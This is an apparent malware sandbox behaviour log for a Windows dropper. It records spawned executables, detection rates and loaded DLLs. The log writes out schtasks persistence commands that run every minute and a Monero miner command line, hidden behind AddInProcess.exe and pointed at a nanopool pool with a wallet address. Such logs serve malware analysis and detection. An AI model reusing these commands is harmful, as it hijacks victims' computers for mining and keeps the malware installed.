Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RPHbzz3JqY.exe	ReversingLabs: Detection: 60%
Source: RPHbzz3JqY.exe	Virustotal: Detection: 56%

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

File read: C:\Users\user\Desktop\RPHbzz3JqY.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RPHbzz3JqY.exe "C:\Users\user\Desktop\RPHbzz3JqY.exe"
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Process created: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe "C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe "C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe"
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe "C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe "C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe "C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe "C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe "C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe "C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe "C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe "C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe"
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process created: C:\Users\user\AppData\Local\Temp\gtxkvh.exe "C:\Users\user\AppData\Local\Temp\gtxkvh.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe "C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe"
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe "C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe "C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe "C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe "C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe "C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe "C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe "C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe "C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe"
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN Cerker.exe /TR "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe"
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Process created: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe "C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe "C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe "C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe "C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe "C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe "C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe "C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe "C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe "C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe "C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe "C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe "C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe "C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe "C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process created: C:\Users\user\AppData\Local\Temp\gtxkvh.exe "C:\Users\user\AppData\Local\Temp\gtxkvh.exe"	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50	Jump to behavior
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN Cerker.exe /TR "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe" /F
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Process created: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe"
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: perfos.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: userenv.dll	Jump to behavior
